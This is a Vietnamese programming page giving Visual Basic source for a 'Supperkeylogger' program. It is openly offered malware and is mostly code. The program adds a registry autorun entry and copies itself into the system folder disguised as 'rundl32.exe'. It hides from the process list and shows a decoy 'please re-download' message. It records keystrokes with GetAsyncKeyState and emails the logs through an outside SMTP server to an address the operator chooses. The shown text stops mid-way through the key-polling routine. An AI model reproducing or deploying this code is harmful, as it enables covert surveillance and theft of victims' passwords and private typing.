Chương Trình Supperkeylogger (VB)

Chương Trình Supperkeylogger (VB):
trang này đã được đọc lần
Mô tả chương trình:
Bạn thêm vào trong chương trình 1 Form, 2 Module và 1 User Control
1. Form chính có tên là Form1.frm:
Giao diện form chứa đựng 3 Textbox (Text1 và send, adresa – “Text: ”), 1 SMTP
(SMTP), 2 Timer (Timer1 và Timer2), 1 Label (Label1 – “Dia chi mail ban muon nhan log:”)
- Mã nguồn của Form:
Option Explicit
Private Declare Function RegOpenKeyExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpSubKey As String,
ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As
String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As
Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Const REG As Long = 1
Const HKEY_LOCAL_MACHINE As Long = &H80000002
Const STANDARD_RIGHTS_ALL = &H1F0000
Const KEY_CREATE_LINK = &H20
Const KEY_CREATE_SUB_KEY = &H4
Const KEY_ENUMERATE_SUB_KEYS = &H8
Const KEY_NOTIFY = &H10
Const KEY_QUERY_VALUE = &H1
Const KEY_SET_VALUE = &H2
Const SYNCHRONIZE = &H100000
Const KEY_ALL_ACCESS = ((STANDARD_RIGHTS_ALL Or KEY_QUERY_VALUE Or KEY_SET_VALUE Or
KEY_CREATE_SUB_KEY Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY Or KEY_CREATE_LINK) And (Not
SYNCHRONIZE))
Function IntrareRegistru()
Dim a As Long
RegOpenKeyExA HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\RunServices", 0,

KEY_ALL_ACCESS, a
RegSetValueExA a, "Rundll32", 0, REG, "C:\Windows\system\rundl32.exe", 1
RegCloseKey a
End Function
Function IntrareSuportMagnetic()
Dim s As String, path As String
s = App.path & "\" & App.EXEName & ".exe"
path = WinDir & "\SYSTEM\rundl32.exe"
If FisierulExista(path) = False Then
FileCopy s, path
MsgBox "Please delete this file and re-download it!"
End If
End Function
Private Sub Form_Load()
IntrareRegistru
IntrareSuportMagnetic
RemoveProgramFromList
If App.PrevInstance Then
Unload Me
End If
End Sub
'---
'----
Public Function SendEMail(adress As String)
With SMTP
.Server = "s1.go.ro"
.Port = 25
.MailFrom = ""
.MailTo = adresa.Text
.NameFrom = "Educational"

.NameTo = "Mg"
.Subject = "Keylogger"
.Body = send.Text
.SendMail
End With
SMTP.ccl
End Function
'----
Private Sub Timer1_Timer()
VerificareTaste
End Sub
Private Sub Timer2_Timer()
Salveaza
If VI = True Then
Decizie
End If
End Sub
2. Hai Module (Internet.bas và Module1.bas)
- Module Internet.bas:
Private Const FLAG_ICC_FORCE_CONNECTION = &H1
Private Declare Function InternetCheckConnection Lib "wininet.dll" Alias "InternetCheckConnectionA" (ByVal
lpszUrl As String, ByVal dwFlags As Long, ByVal dwReserved As Long) As Long
Public Text As Variant
Public caledel As String
Public Function VI()
If InternetCheckConnection(" FLAG_ICC_FORCE_CONNECTION, 0&) = 0 Then
VI = False
Else
VI = True
End If

End Function
Public Sub TrimiteLog(path As String)
Dim s As Variant
Form1.send.Text = ""
Open path For Input As #3
Do While Not EOF(3)
Input #3, s
Form1.send.Text = Form1.send.Text & s & vbCrLf
Loop
Close #3
caledel = path
Form1.SendEMail (path)
Kill path
End Sub
Public Function Decizie()
Dim path As String
Dim i As Integer, j As Integer
For i = 10 To 1 Step -1
For j = 1 To 6
path = Module1.WinDir & "\system\directx\" & Day(Date) - i & "_" & j & ".txt"
If FisierulExista(path) = True Then
TrimiteLog (path)
End If
Next j
Next i
End Function
- Module Module1.bas:
Option Explicit
Public Const DT_CENTER = &H1
Public Const DT_WORDBREAK = &H10

Public Const RSP_SIMPLE_SERVICE = 1
Public Const RSP_UNregiSTER_SERVICE = 0
Public Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Public Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As
Long) As Long
Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String,
ByVal nSize As Long) As Long
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Global Cnt As Long, TempText As String, sOld As String, ret As String
Dim Tel As Long
Private Const VK_CAPITAL = &H14
Public Function CAPSLOCKON() As Boolean
Static bInit As Boolean
Static bOn As Boolean
If Not bInit Then
While GetAsyncKeyState(VK_CAPITAL)
Wend
bOn = GetKeyState(VK_CAPITAL)
bInit = True
Else
If GetAsyncKeyState(VK_CAPITAL) Then
While GetAsyncKeyState(VK_CAPITAL)
DoEvents
Wend
bOn = Not bOn
End If
End If
CAPSLOCKON = bOn
End Function

Public Function VerificareTaste()
Dim keystate As Long
Dim Shift As Long
Shift = GetAsyncKeyState(vbKeyShift)
keystate = GetAsyncKeyState(vbKeyA)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift
<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "A"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift
<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "a"
End If
keystate = GetAsyncKeyState(vbKeyB)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift
<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "B"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift
<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "b"
End If
keystate = GetAsyncKeyState(vbKeyC)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift
<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "C"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift
<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "c"

End If
keystate = GetAsyncKeyState(vbKeyD)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift
<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "D"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift
<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "d"
End If
keystate = GetAsyncKeyState(vbKeyE)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift
<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "E"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift
<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "e"
End If
keystate = GetAsyncKeyState(vbKeyF)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift
<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "F"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift
<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "f"
End If
keystate = GetAsyncKeyState(vbKeyG)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift

<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "G"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift
<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "g"
End If
keystate = GetAsyncKeyState(vbKeyH)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift
<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "H"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift
<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "h"
End If
keystate = GetAsyncKeyState(vbKeyI)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift
<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "I"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift
<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "i"
End If
keystate = GetAsyncKeyState(vbKeyJ)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift
<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "J"
End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift
<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "j"
End If
keystate = GetAsyncKeyState(vbKeyK)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift
<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "K"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift
<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "k"
End If
keystate = GetAsyncKeyState(vbKeyL)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift
<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "L"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift
<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "l"
End If
keystate = GetAsyncKeyState(vbKeyM)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift
<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "M"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift
<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "m"

End If
keystate = GetAsyncKeyState(vbKeyN)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift
<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "N"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift
<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "n"
End If
keystate = GetAsyncKeyState(vbKeyO)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift
<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "O"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift
<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "o"
End If
keystate = GetAsyncKeyState(vbKeyP)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift
<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "P"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift
<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "p"
End If
keystate = GetAsyncKeyState(vbKeyQ)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift

<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "Q"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift
<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "q"
End If
keystate = GetAsyncKeyState(vbKeyR)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift
<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "R"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift
<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "r"
End If
keystate = GetAsyncKeyState(vbKeyS)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift
<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "S"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift
<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "s"
End If
keystate = GetAsyncKeyState(vbKeyT)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift
<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "T"
End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift
<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "t"
End If
keystate = GetAsyncKeyState(vbKeyU)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift
<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "U"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift
<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "u"
End If
keystate = GetAsyncKeyState(vbKeyV)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift
<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "V"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift
<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "v"
End If
keystate = GetAsyncKeyState(vbKeyW)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift
<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "W"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift
<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "w"

End If
keystate = GetAsyncKeyState(vbKeyX)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift
<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "X"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift
<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "x"
End If
keystate = GetAsyncKeyState(vbKeyY)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift
<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "Y"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift
<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "y"
End If
keystate = GetAsyncKeyState(vbKeyZ)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift
<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "Z"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift
<> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "z"
End If
keystate = GetAsyncKeyState(vbKey1)
If Shift = 0 And (keystate And &H1) = &H1 Then

Form1.Text1 = Form1.Text1 + "1"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "!"
End If
keystate = GetAsyncKeyState(vbKey2)
If Shift = 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "2"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "@"
End If
keystate = GetAsyncKeyState(vbKey3)
If Shift = 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "3"
End If